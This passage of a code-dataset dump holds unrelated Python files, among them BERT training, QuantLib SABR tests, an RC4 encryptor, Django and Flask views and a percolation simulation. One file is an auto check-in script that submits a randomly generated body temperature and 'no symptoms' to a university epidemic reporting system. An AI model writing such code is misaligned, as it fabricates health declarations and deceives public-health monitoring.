BertForSequenceClassification.from_pretrained(\"bert-base-uncased\", num_labels=2)\n # model.cuda()\n # BERT fine-tuning parameters\n param_optimizer = list(model.named_parameters())\n no_decay = ['bias', 'gamma', 'beta']\n optimizer_grouped_parameters = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)],\n 'weight_decay_rate': 0.01},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)],\n 'weight_decay_rate': 0.0}\n ]\n\n optimizer = BertAdam(optimizer_grouped_parameters,\n lr=2e-5,\n warmup=.1)\n iters = 3\n # Function to calculate the accuracy of our predictions vs labels\n\n # Store our loss and accuracy for plotting\n train_loss_set = []\n # Number of training epochs\n #epochs = 4\n epochs = 1\n\n # BERT training loop\n for _ in trange(epochs, desc=\"Epoch\"):\n\n # TRAINING\n\n # Set our model to training mode\n model.train()\n device, num_gpu = specifyDevice()\n # Tracking variables\n tr_loss = 0\n nb_tr_examples, nb_tr_steps = 0, 0\n # Train the data for one epoch\n for step, batch in enumerate(train_dataloader):\n # Add batch to GPU\n batch = tuple(t.to(device) for t in batch)\n # Unpack the inputs from our dataloader\n b_input_ids, b_input_mask, b_labels = batch\n # Clear out the gradients (by default they accumulate)\n optimizer.zero_grad()\n # Forward pass\n loss = model(b_input_ids, token_type_ids=None, attention_mask=b_input_mask, labels=b_labels)\n train_loss_set.append(loss.item())\n # Backward pass\n loss.backward()\n # Update parameters and take a step using the computed gradient\n optimizer.step()\n # Update tracking variables\n tr_loss += loss.item()\n nb_tr_examples += b_input_ids.size(0)\n nb_tr_steps += 1\n print(\"Train loss: {}\".format(tr_loss / nb_tr_steps))\n\n # VALIDATION (THIS ISNT USED HERE ANYMORE)\n\n # # # Put model in evaluation mode\n # model.eval()\n\n # # Tracking variables\n # eval_loss, eval_accuracy = 0, 0\n # nb_eval_steps, nb_eval_examples = 0, 0\n # # Evaluate data for one epoch\n # for batch in validation_dataloader:\n # # Add batch to GPU\n # batch = tuple(t.to(device) for t in batch)\n # # Unpack the inputs from our dataloader\n # b_input_ids, b_input_mask, b_labels = batch\n # # Telling the model not to compute or store gradients, saving memory and speeding up validation\n # with torch.no_grad():\n # # Forward pass, calculate logit predictions\n # logits = model(b_input_ids, token_type_ids=None, attention_mask=b_input_mask)\n # # Move logits and labels to CPU\n # logits = logits.detach().cpu().numpy()\n\n # label_ids = b_labels.to('cpu').numpy()\n # tmp_eval_accuracy = flat_accuracy(logits, label_ids)\n # eval_accuracy += tmp_eval_accuracy\n # nb_eval_steps += 1\n # print(\"Validation Accuracy: {}\".format(eval_accuracy / nb_eval_steps))\n\n # print(model.summary())\n # plot training performance\n return model\n\n\ncreate_tensors_for_tuning()\n\n\n# epoch 6 , step 0.01 weight decay\n# called : hateful_meme_6Epoch.bin\n# Epoch: 17%|█▋ | 1/6 [06:50<34:12, 410.47s/it]Train loss: 1.082865190349127\n# Epoch: 33%|███▎ | 2/6 [13:40<27:21, 410.27s/it]Train loss: 0.5484289286055959\n# Epoch: 50%|█████ | 3/6 [20:30<20:30, 410.19s/it]Train loss: 0.48339869356469106\n# Epoch: 67%|██████▋ | 4/6 [27:20<13:40, 410.16s/it]Train loss: 0.41595172075400677\n# Epoch: 83%|████████▎ | 5/6 [34:11<06:50, 410.33s/it]Train loss: 0.3489604638819408\n# Epoch: 100%|██████████| 6/6 [41:01<00:00, 410.25s/it]Train loss: 0.3208405798427144\n","sub_path":"hateful_meme_challenge/src/bert/bert_practice.py","file_name":"bert_practice.py","file_ext":"py","file_size_in_byte":11265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"32402323","text":"\n\nfrom xai.brain.wordbase.nouns._insecticide import _INSECTICIDE\n\n#calss header\nclass _INSECTICIDES(_INSECTICIDE, ):\n\tdef __init__(self,): \n\t\t_INSECTICIDE.__init__(self)\n\t\tself.name = \"INSECTICIDES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"insecticide\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_insecticides.py","file_name":"_insecticides.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"161090035","text":"\nimport os\nimport time\nimport json\n\ndef timeMeasure(func, args=()):\n start = time.time()\n if 0 < len(args):\n func(*args)\n else :\n func()\n elapsed_time = time.time() - start\n return elapsed_time\n\ndef getWOEDic():\n dst = None\n p = os.path.abspath('./')\n with open(p + '/woeid.json', 'r', encoding=\"utf8\", errors='ignore') as fin:\n dst = json.load(fin)\n return dst\n","sub_path":"twitter_analysis_site/local_trend/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"252673816","text":"'''\nCreated on Mar 23, 2014\n\n@author: root\n\n'''\nfrom PyQt4.Qt import endl\n\n# input_file=\"data.txt\"\n# output_file=\"output.txt\"\n\n\n# making a s-box \ndef initialization(key):\n j=0\n global S\n S=[]\n \n for i in range(256): #initialize element\n S.append(i)\n \n for i in range(256):\n j=(j+S[i]+ord(key[i % len(key)])) % 256\n S[i],S[j]=S[j],S[i] # swaping element\n\n# initialize i & j for opeartion (global variable)\ni_itr=0\nj_itr=0\n\n# xor each byte with the choosen S-box element\n# d for byte of data, i & j is static\ndef operation(d):\n global i_itr\n global j_itr\n #print 'sebelum ',i_itr\n i_itr=(i_itr+1)%256\n #print i_itr\n j_itr=(j_itr+S[i_itr])%256\n S[i_itr],S[j_itr]=S[j_itr],S[i_itr]\n pr=S[(S[i_itr]+S[j_itr])% 256]\n return ord(d) ^ pr # in python ^ is bitwise XOR operation\n\n# encrypt all the data\ndef byte_encrypt(data):\n global output_file\n \n out=\"\"\n for c in data:\n byte=operation(c)\n out+=chr(byte)\n return out\n\n# Main function to encrypt data, using path input, and key (list)\ndef encryption(data):\n file_key=open(\"key.txt\",\"r\")\n keys=file_key.read(300)\n initialization(list(keys))\n return byte_encrypt(data)\n \n\n","sub_path":"rc4/main_package/encryptor_net.py","file_name":"encryptor_net.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"66218982","text":"# QuantLib SABR Volatility Model Implemenation\r\n\r\nimport QuantLib as ql\r\nimport math\r\nimport unittest\r\n\r\n\r\nclass SabrTest(unittest.TestCase):\r\n\r\n def testHagenFormula(self):\r\n # Testing Hagen et al. formula\r\n today = ql.Date(9, 1, 2019)\r\n dc = ql.Actual365Fixed()\r\n maturityDate = today + ql.Period(6, ql.Months)\r\n maturityTime = dc.yearFraction(today, maturityDate)\r\n\r\n alpha = 0.35\r\n beta = 0.85\r\n nu = 0.75 # v\r\n rho = 0.85\r\n f0 = 100.0\r\n strike = 110.0\r\n\r\n sabrVol = ql.sabrVolatility(strike, f0, maturityTime, alpha, beta, nu, rho)\r\n\r\n self.assertAlmostEqual(sabrVol, 0.205953, 6,\r\n msg=\"Unable to reproduce Hagen et al. SABR volalatility\")\r\n\r\n flochKennedyVol = ql.sabrFlochKennedyVolatility(\r\n strike, f0, maturityTime, alpha, beta, nu, rho)\r\n\r\n self.assertAlmostEqual(flochKennedyVol, 0.205447, 6,\r\n msg=\"Unable to reproduce Le Floc'h-Kennedy SABR volalatility\")\r\n\r\n def testPdeSolver(self):\r\n \"\"\" Testing BENCHOP-SLV SABR example value \"\"\"\r\n\r\n today = ql.Date(8, 1, 2019)\r\n dc = ql.Actual365Fixed()\r\n maturityDate = today + ql.Period(10 * 365, ql.Days)\r\n maturityTime = dc.yearFraction(today, maturityDate)\r\n\r\n f0 = 0.07\r\n alpha = 0.4\r\n nu = 0.8\r\n beta = 0.5\r\n rho = -0.6\r\n strike = f0 * math.exp(-0.1 * math.sqrt(maturityTime))\r\n\r\n rTS = ql.YieldTermStructureHandle(ql.FlatForward(today, 0.0, dc))\r\n\r\n # see https://ir.cwi.nl/pub/28249\r\n expected = 0.052450313614407\r\n\r\n option = ql.VanillaOption(\r\n ql.PlainVanillaPayoff(ql.Option.Call, strike),\r\n ql.EuropeanExercise(maturityDate))\r\n\r\n option.setPricingEngine(ql.FdSabrVanillaEngine(f0, alpha, beta, nu, rho, rTS, 30, 800, 30, 1, 0.8))\r\n\r\n calculated = option.NPV()\r\n\r\n self.assertAlmostEqual(calculated, expected, 4,\r\n msg=\"Unable to reproduce Le Floc'h-Kennedy SABR volalatility\")\r\n\r\n def testSabrPdeVsCevPdeVsAnalyticCev(self):\r\n \"\"\" Testing SABR PDE vs CEV PDE vs Analytic CEV \"\"\"\r\n\r\n today = ql.Date(1, 3, 2019)\r\n dc = ql.Actual365Fixed()\r\n\r\n maturityDate = today + ql.Period(12, ql.Months)\r\n f0 = 1.2\r\n alpha = 0.35\r\n beta = 0.9\r\n nu = 1e-3\r\n rho = 0.25\r\n strike = 1.1\r\n\r\n rTS = ql.YieldTermStructureHandle(ql.FlatForward(today, 0.05, dc))\r\n\r\n option = ql.VanillaOption(\r\n ql.PlainVanillaPayoff(ql.Option.Call, strike),\r\n ql.EuropeanExercise(maturityDate))\r\n\r\n option.setPricingEngine(ql.FdSabrVanillaEngine(f0, alpha, beta, nu, rho, rTS, 30, 400, 3))\r\n fdSabrNPV = option.NPV()\r\n\r\n option.setPricingEngine(ql.FdCEVVanillaEngine(f0, alpha, beta, rTS, 30, 400))\r\n fdCevNPV = option.NPV()\r\n\r\n option.setPricingEngine(ql.AnalyticCEVEngine(f0, alpha, beta, rTS))\r\n analyticCevNPV = option.NPV()\r\n\r\n self.assertAlmostEqual(fdSabrNPV, analyticCevNPV, 4,\r\n msg=\"Unable to match PDE SABR value with analytic CEV value\")\r\n\r\n self.assertAlmostEqual(fdCevNPV, analyticCevNPV, 4,\r\n msg=\"Unable to match PDE CEV value with analytic CEV value\")\r\n\r\n\r\nif __name__ == '__main__':\r\n print('testing QuantLib ' + ql.__version__)\r\n suite = unittest.TestSuite()\r\n suite.addTest(unittest.makeSuite(SabrTest, 'test'))\r\n unittest.TextTestRunner(verbosity=2).run(suite)\r\n","sub_path":"SABR - QuantLib.py","file_name":"SABR - QuantLib.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"259828639","text":"\"\"\"\n Given n points in the plane that are all pairwise distinct,\n a \"boomerang\" is a tuple of points (i, j, k) such that the distance\n between i and j equals the distance between i and k.\n \n Find the number of boomerangs. You may assume that n will be at most\n 500 and coordinates of points are all in the range [-1000, 1000] (inclusive).\n\"\"\"\nimport math\n\ndef distance(point1, point2):\n return math.sqrt( (point2[0] - point1[0])**2 + (point2[1] - point1[1])**2 )\n\ndef numberOfBoomerangs(points):\n boomerangs = {}\n for i in range(len(points)):\n current = points[i]\n distances = {}\n # print(\"Current: \")\n # print(current)\n\n for j in range(len(points)):\n if i != j:\n dist = distance(current, points[j])\n # print(points[j])\n # print(dist)\n\n if dist in distances:\n for point in distances[dist]:\n boomerang = (i, point, j)\n if boomerang not in boomerangs:\n boomerangs[boomerang] = True\n\n boomerang = (i, j, point)\n if boomerang not in boomerangs:\n boomerangs[boomerang] = True\n\n distances[dist].append(j)\n # print(boomerangs)\n else:\n distances[dist] = [j]\n\n # print(distances)\n # print\n\n return len(boomerangs)\n\n# print(numberOfBoomerangs([[0, 0], [1, 0], [2, 0]]))\nprint(numberOfBoomerangs([[5,5],[4,7],[6,5],[6,9],[3,7],[4,5],[2,5],[4,4],[3,0]]))\n","sub_path":"number_of_boomerangs.py","file_name":"number_of_boomerangs.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"461992842","text":"import hashlib\nimport io\nimport os\nimport subprocess\nfrom tempfile import mkstemp\n\nfrom celery.result import AsyncResult\nfrom django.core.cache import cache\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import get_object_or_404\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import TemplateView, View\nfrom PIL import Image as PILImage\nfrom pudb import set_trace\nfrom wand.image import Image\n\nfrom . import models\nfrom .conf import settings\n\n\nclass IndexView(TemplateView):\n template_name = \"outpost/index.html\"\n\n\nclass ColorizedIconView(View):\n def get(self, request, pk, color):\n icon = get_object_or_404(models.Icon, pk=pk)\n response = HttpResponse(content_type=\"image/png\")\n image = icon.colorize(color)\n image.save(response, \"PNG\")\n return response\n\n\nclass TaskView(View):\n def get(self, request, task):\n result = AsyncResult(task)\n return JsonResponse({\"state\": result.state, \"info\": result.info})\n\n\n@method_decorator(csrf_exempt, name=\"dispatch\")\nclass ImageConvertView(TemplateView):\n template_name = \"outpost/image-convert.html\"\n\n def post(self, request, format):\n if not format:\n format = \"PDF\"\n digest = hashlib.sha1()\n digest.update(request.body)\n ckey = f\"base-image-convert-{digest.hexdigest()}-{format}\"\n response = cache.get(ckey, None)\n if response:\n return response\n response = HttpResponse()\n filein = io.BytesIO(request.body)\n img = PILImage.open(filein)\n # Ugly kludge because OpenText fucks up TIFF/JPEG inlines.\n if img.format == \"TIFF\":\n nconvert = settings.BASE_NCONVERT\n if os.path.isfile(nconvert) and os.access(nconvert, os.X_OK):\n inp_fd, inp = mkstemp()\n outp_fd, outp = mkstemp()\n # We do not need the filehandle for the resulting new TIFF file\n # at this point.\n os.close(outp_fd)\n filein.seek(0)\n os.write(inp_fd, request.read())\n os.close(inp_fd)\n args = [\n nconvert,\n \"-quiet\",\n \"-multi\",\n \"-o\",\n outp,\n \"-out\",\n \"tiff\",\n \"-in\",\n \"tiff\",\n \"-c\",\n \"8\",\n \"-no_auto_ext\",\n \"-overwrite\",\n inp,\n ]\n proc = subprocess.Popen(args, stdout=subprocess.DEVNULL)\n proc.wait()\n with open(outp, \"rb\") as outp_fh:\n filein = io.BytesIO(outp_fh.read())\n os.remove(inp)\n os.remove(outp)\n\n filein.seek(0)\n with Image(file=filein) as img:\n img.format = format.upper()\n img.save(response)\n response[\"Content-Type\"] = img.mimetype\n cache.set(ckey, response, 86400)\n return response\n\n\nclass ErrorView(TemplateView):\n def get_template_names(self):\n code = self.kwargs.get(\"code\", 500)\n return [f\"outpost/error/{code}.html\", \"outpost/error.html\"]\n\n\nclass DebuggerView(View):\n def dispatch(self, request, *args, **kwargs):\n if settings.DEBUG:\n set_trace()\n return HttpResponse()\n","sub_path":"src/outpost/django/base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"187896235","text":"from app import flask_app as app\nfrom app import db\nfrom flask_login import login_required, current_user\nfrom flask import jsonify, request\nfrom app.models.UserAteFood import UserAteFood\nfrom app.models.FoodHasNutrient import FoodHasNutrient\nfrom app.models.Nutrient import Nutrient\nfrom app.models.User import User\nfrom datetime import datetime\n\n\n@app.route('/userarea/getNutrientHistory', methods=['POST'])\n@login_required\ndef getNutrientHistory():\n user = current_user # type: User\n userId = user.user_id\n recommendedIntake = user.getRecommendedDailyIntake()\n\n jsonReq = request.get_json()\n print(jsonReq)\n\n if not jsonReq:\n return jsonify(error=\"Request error\")\n\n if 'from' not in jsonReq or 'to' not in jsonReq:\n return jsonify(error=\"Missing values\")\n\n fromStr = jsonReq['from']\n toStr = jsonReq['to']\n\n # fromStr = \"01-01-2016\"\n # toStr = \"31-12-2016\"\n\n try:\n fromDate = datetime.strptime(fromStr, '%d-%m-%Y')\n toDate = datetime.strptime(toStr, '%d-%m-%Y')\n except:\n return jsonify(error=\"Enter birthday in DD-MM-YYYY format\")\n\n results = db.session.query(Nutrient).filter(Nutrient.unit != 'kJ').all()\n\n nutrients = {}\n\n for result in results:\n nutObj = result # type: Nutrient\n nutrients[str(nutObj.nut_id)] = {\n \"id\": nutObj.nut_id,\n \"name\": nutObj.name,\n \"group\": nutObj.group,\n \"unit\": nutObj.unit,\n \"history\": [],\n \"totalConsumption\": 0,\n \"numberOfEntries\": 0\n }\n\n results = db.session.query(UserAteFood, FoodHasNutrient).filter(UserAteFood.user_id == userId)\\\n .filter(UserAteFood.date >= fromDate).filter(UserAteFood.date <= toDate)\\\n .filter(UserAteFood.food_ndbno == FoodHasNutrient.food_ndbno).all()\n\n\n for result in results:\n uafObj = result[0] # type: UserAteFood\n fhnObj = result[1] # type: FoodHasNutrient\n dateStr = datetime.strftime(uafObj.date, '%d-%m-%Y')\n consumption = fhnObj.value * uafObj.value_g/100\n nut_id = str(fhnObj.nut_id)\n\n if nut_id not in nutrients:\n continue\n\n nutrients[nut_id][\"totalConsumption\"] += consumption\n nutrients[nut_id][\"numberOfEntries\"] += 1\n\n histDict = {\n \"date\": dateStr,\n \"consumption\": consumption\n }\n\n for i, hist in enumerate(nutrients[nut_id][\"history\"]):\n date = datetime.strptime(hist[\"date\"], '%d-%m-%Y').date()\n if date > uafObj.date:\n nutrients[nut_id][\"history\"].insert(i, histDict)\n break\n elif date == uafObj.date:\n nutrients[nut_id][\"history\"][i][\"consumption\"] += consumption\n break\n elif i == len(nutrients[nut_id][\"history\"]) - 1:\n nutrients[nut_id][\"history\"].append(histDict)\n break\n if len(nutrients[nut_id][\"history\"]) == 0:\n nutrients[nut_id][\"history\"].append(histDict)\n\n return jsonify(nutrients=nutrients)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"src/app/api/getNutrientHistory.py","file_name":"getNutrientHistory.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"530760065","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom story import Story\nfrom django.utils.safestring import mark_safe\nfrom django.utils.html import conditional_escape as esc\n\nclass Reprint(models.Model):\n class Meta:\n app_label = 'gcd'\n \n origin = models.ForeignKey(Story, related_name='to_reprints')\n target = models.ForeignKey(Story, related_name='from_reprints')\n notes = models.TextField(max_length=255)\n\n # Fields related to change management.\n reserved = models.BooleanField(default=False, db_index=True)\n\n @property\n def origin_sort(self):\n if self.origin.issue.key_date:\n sort = self.origin.issue.key_date\n else:\n sort = '9999-99-99'\n return \"%s-%d-%d\" % (sort, self.origin.issue.series.year_began,\n self.origin.issue.sort_code)\n\n @property\n def target_sort(self):\n if self.target.issue.key_date:\n sort = self.target.issue.key_date\n else:\n sort = '9999-99-99'\n return \"%s-%d-%d\" % (sort, self.target.issue.series.year_began,\n self.target.issue.sort_code)\n\n def get_compare_string(self, base_issue):\n if self.origin.issue == base_issue:\n direction = 'in'\n story = self.target\n else:\n direction = 'from'\n story = self.origin\n reprint = u'%s %s sequence %s' % \\\n (direction, story.issue.get_absolute_url(), \n esc(story.issue.full_name()), story.id, esc(story))\n if self.notes:\n reprint = u'%s [%s]' % (reprint, esc(self.notes))\n return mark_safe(reprint)\n\n def __unicode__(self):\n return u'%s of %s is reprinted in %s of %s' % (self.origin,\n self.origin.issue, self.target, self.target.issue)\n","sub_path":"apps/gcd/models/reprint.py","file_name":"reprint.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215601942","text":"import time\nimport json\nimport requests\nimport random\nimport datetime\n\n#sectets字段录入\ndeptId = eval(input())\ntext = input()\nuserName = input()\nstuNum = input()\nuserId = input()\n\n#随机温度(36.2~36.8)\na=random.uniform(36.2,36.8)\ntemperature = round(a, 1)\n\n#时间获取\ncstTime = (datetime.datetime.utcnow() + datetime.timedelta(hours=8))\nstrTime = cstTime.strftime(\"%H:%M:%S\")\n\n#reqURl\nsign_url = \"https://reportedh5.17wanxiao.com/sass/api/epmpics\"\n\n#早中午判断\nnowTime = time.localtime().tm_hour + 8\nif (nowTime >= 30) & (nowTime < 32):\n templateid = \"clockSign1\"\n RuleId = 146\nelif (nowTime >= 12) & (nowTime < 14):\n templateid = \"clockSign2\"\n RuleId = 147\nelif (nowTime >= 21) & (nowTime< 22):\n templateid = \"clockSign3\"\n RuleId = 148\nelse:\n print(\"现在时间%d点%d分,打卡时间未到!\" %(nowTime,time.localtime().tm_min))\n exit(0)\n\njsons = {\n \"businessType\": \"epmpics\",\n \"method\": \"submitUpInfoSchool\",\n \"jsonData\": {\n \"deptStr\": {\n \"deptid\": deptId,\n \"text\": text\n },\n \"areaStr\": \"{\\\"streetNumber\\\":\\\"\\\",\\\"street\\\":\\\"长椿路辅路\\\",\\\"district\\\":\\\"中原区\\\",\\\"city\\\":\\\"郑州市\\\",\\\"province\\\":\\\"河南省\\\",\\\"town\\\":\\\"\\\",\\\"pois\\\":\\\"河南工业大学(莲花街校区)\\\",\\\"lng\\\":113.55064699999795,\\\"lat\\\":34.83870696238093,\\\"address\\\":\\\"中原区长椿路辅路河南工业大学(莲花街校区)\\\",\\\"text\\\":\\\"河南省-郑州市\\\",\\\"code\\\":\\\"\\\"}\",\n \"reportdate\": round(time.time()*1000),\n \"customerid\": \"43\",\n \"deptid\": deptId,\n \"source\": \"app\",\n \"templateid\": templateid,\n \"stuNo\": stuNum,\n \"username\": userName,\n \"userid\": userId,\n \"updatainfo\": [ \n {\n \"propertyname\": \"temperature\",\n \"value\": temperature\n },\n {\n \"propertyname\": \"symptom\",\n \"value\": \"无症状\"\n }\n ],\n \"customerAppTypeRuleId\": RuleId,\n \"clockState\": 0\n },\n} \n\n#提交打卡\nresponse = requests.post(sign_url, json=jsons)\nprint(response.text)\n\n#结果判定\nif response.json()[\"msg\"] == '成功':\n msg = \"打卡成功-\" + strTime\nelse:\n msg = \"打卡异常-\" + strTime\nprint(msg)\n\n#微信通知\nsckey = input()\ntitle = msg\nresult = json.dumps(response.json(), sort_keys=True, indent=4, separators=(',', ': '),ensure_ascii=False)\ncontent = f\"\"\"\n```\n{result}\n```\n### 😀[收藏](https://github.com/YooKing/HAUT_autoCheck)此项目\n\"\"\"\ndata = {\n\"text\":title,\n\"desp\":content\n}\nreq = requests.post(sckey,data = data)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"257221822","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat May 25 10:27:57 2019\r\n\r\n@author: cyc\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 22 15:19:57 2019\r\n\r\n@author: cyc\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 21 22:43:05 2019\r\n\r\n@author: cyc\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 21 21:06:31 2019\r\n\r\n@author: cyc\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 15 10:56:56 2019\r\n\r\n@author: cyc\r\n\"\"\"\r\n\r\nimport ER_Bond\r\nimport random\r\nimport time\r\n\r\nts = time.time()\r\n\r\n#调整参数\r\nn_max = 1e5#最大节点数\r\nr = 0#重复计数\r\nr_max = 5#重复限值\r\nt_max = int(0.60*n_max)#最大连接数\r\nk = int(n_max/1000)#测量间隔\r\nt_max_k = int(t_max/k)\r\ntb = int(0.45*n_max)#起始记录位置\r\nte = int(0.55*n_max)#终止记录位置\r\ndata_c_avr=[]\r\nrt_up = []\r\nrt_down = []\r\ndata_c_max = []\r\ndata_p = []\r\nprint(\"Initialization finished: n = %d, tb = %.2f, te = %.2f, k = %d\" % (n_max,tb/(n_max),te/(n_max),k))\r\ndata=open(\"D:/个人文件/大学/大二下/课程/热力学与统计物理/课程论文/QU算法模拟渗流/data_RNER2_1e4(临界现象).txt\",'w+')\r\nprint (\"---File open---\") \r\nprint (\"Iterating...\")\r\n\r\nPR = ER_Bond.ER(n_max)#生成渗流\r\n \r\nt = 0\r\n\r\nwhile (t < t_max):\r\n i1 = random.randint(0,PR.N-1)\r\n i2 = random.randint(0,PR.N-1)\r\n \r\n\r\n \r\n \r\n \r\n PR.union(i1,i2)\r\n \r\n if (t % k == 0 and t >= tb and t <= te):\r\n print (\"\\rpresent t = %.2f%%\" % (100*(t-tb)/(te-tb)),end=\"\")\r\n data_c_max.append(max(PR.sz))\r\n \r\n i = 0\r\n c_sum2 = 0\r\n c_sum3 = 0\r\n rt_list=[]\r\n while (i < n_max):\r\n if PR.sz[PR.find(i)] != 1:\r\n if PR.find(i) not in rt_list:\r\n rt_list.append(PR.find(i))\r\n i += 1\r\n for x in rt_list:\r\n if x != PR.sz.index(max(PR.sz)):\r\n c_sum2 += PR.sz[x]*PR.sz[x]\r\n c_sum3 += PR.sz[x]*PR.sz[x]*PR.sz[x]\r\n data_c_avr.append(c_sum3/c_sum2)\r\n data_p.append(t)\r\n \r\n t += 1\r\n\r\n\r\nprint(\"\\nIteration finished\\nCalculating...\")\r\n\r\n\r\ni = 0\r\nwhile i < len(data_p):\r\n print(\"%d %.2f %d\" % (data_p[i],data_c_avr[i],data_c_max[i]),file = data)\r\n i += 1\r\n\r\n\r\ndata.close()\r\nprint(\"---File closed---\")\r\nte = time.time()\r\nprint (\"Totally cost %.2fh\" % ((te-ts)/3600))","sub_path":"ER_临界.py","file_name":"ER_临界.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"255305234","text":"import json\nimport os\n\nimport mock\nimport pytest\n\nfrom swagger_spec_validator.common import SwaggerValidationError\nfrom swagger_spec_validator.validator12 import validate_spec_url\n\n\nRESOURCE_LISTING_FILE = os.path.abspath('tests/data/v1.2/foo/swagger_api.json')\nAPI_DECLARATION_FILE = os.path.abspath('tests/data/v1.2/foo/foo.json')\n\n\ndef read_contents(file_name):\n with open(file_name, 'r') as f:\n return json.load(f)\n\n\ndef make_mock_responses(file_names):\n return [read_contents(file_name) for file_name in file_names]\n\n\ndef test_http_success():\n mock_responses = make_mock_responses([RESOURCE_LISTING_FILE,\n API_DECLARATION_FILE])\n\n with mock.patch('swagger_spec_validator.validator12.load_json',\n side_effect=mock_responses) as mock_load_json:\n validate_spec_url('http://localhost/api-docs')\n\n mock_load_json.assert_has_calls([\n mock.call('http://localhost/api-docs'),\n mock.call('http://localhost/api-docs/foo'),\n ])\n\n\ndef test_file_uri_success():\n mock_string = 'swagger_spec_validator.validator12.validate_api_declaration'\n with mock.patch(mock_string) as mock_api:\n validate_spec_url('file://{0}'.format(RESOURCE_LISTING_FILE))\n\n expected = read_contents(API_DECLARATION_FILE)\n mock_api.assert_called_once_with(expected)\n\n\ndef test_raise_SwaggerValidationError_on_urlopen_error():\n with pytest.raises(SwaggerValidationError) as excinfo:\n validate_spec_url('http://foo')\n assert (''\n in str(excinfo.value))\n","sub_path":"tests/validator12/validate_spec_url_test.py","file_name":"validate_spec_url_test.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"449897279","text":"\"\"\"Helpers for controllers.\"\"\"\n\nfrom typing import Callable, Any, Dict, Tuple, Optional, List\n\nfrom werkzeug import MultiDict\nfrom werkzeug.exceptions import InternalServerError, NotFound, BadRequest\nfrom flask import url_for\n\nfrom wtforms.widgets import ListWidget, CheckboxInput, Select, HTMLString, \\\n html_params\nfrom wtforms import StringField, PasswordField, SelectField, \\\n SelectMultipleField, Form, validators\nfrom wtforms.fields.core import UnboundField\n\nfrom arxiv import status, taxonomy\nfrom arxiv.users.domain import Session\nimport arxiv.submission as events\nfrom ..domain import SubmissionStage\nfrom ..util import load_submission\n\nResponse = Tuple[Dict[str, Any], int, Dict[str, Any]] # pylint: disable=C0103\n\n\nclass OptGroupSelectWidget(Select):\n \"\"\"Select widget with optgroups.\"\"\"\n\n def __call__(self, field: SelectField, **kwargs: Any) -> HTMLString:\n \"\"\"Render the `select` element with `optgroup`s.\"\"\"\n kwargs.setdefault('id', field.id)\n if self.multiple:\n kwargs['multiple'] = True\n html = [f'')\n return HTMLString(''.join(html))\n\n\nclass OptGroupSelectField(SelectField):\n \"\"\"A select field with optgroups.\"\"\"\n\n widget = OptGroupSelectWidget()\n\n def pre_validate(self, form: Form) -> None:\n \"\"\"Don't forget to validate also values from embedded lists.\"\"\"\n for group_label, items in self.choices:\n for value, label in items:\n if value == self.data:\n return\n raise ValueError(self.gettext('Not a valid choice'))\n\n def _value(self) -> str:\n data: str = self.data\n return data\n\n\nclass OptGroupSelectMultipleField(SelectMultipleField):\n \"\"\"A multiple select field with optgroups.\"\"\"\n\n widget = OptGroupSelectWidget(multiple=True)\n\n # def pre_validate(self, form: Form) -> None:\n # \"\"\"Don't forget to validate also values from embedded lists.\"\"\"\n # for group_label, items in self.choices:\n # for value, label in items:\n # if value == self.data:\n # return\n # raise ValueError(self.gettext('Not a valid choice'))\n\n def _value(self) -> List[str]:\n data: List[str] = self.data\n return data\n\n\nclass SubmissionMixin:\n \"\"\"\n Provides submission-related integration for :class:`.Form`s.\n\n Since the command events in :mod:`events` provide input validation, it\n is convenient to instantiate those :class:`events.Event`s during form\n validation. To do this, however, we need to know about the\n :class:`events.Submission` and the event creator (an\n :class:`events.User`). This mixin provides :prop:`.submission` and\n :prop:`.creator` for that purpose.\n\n Since we're instantiating the :class:`event.Event`s during form validation,\n we also want to keep those around so that we don't have to create them\n twice. So this mixin also provides :prop:`.events` and :meth:`._add_event`.\n\n Examples\n --------\n .. code-block:: python\n\n >>> from wtforms import Form, TextField, validators\n >>> from submit.controllers.util import 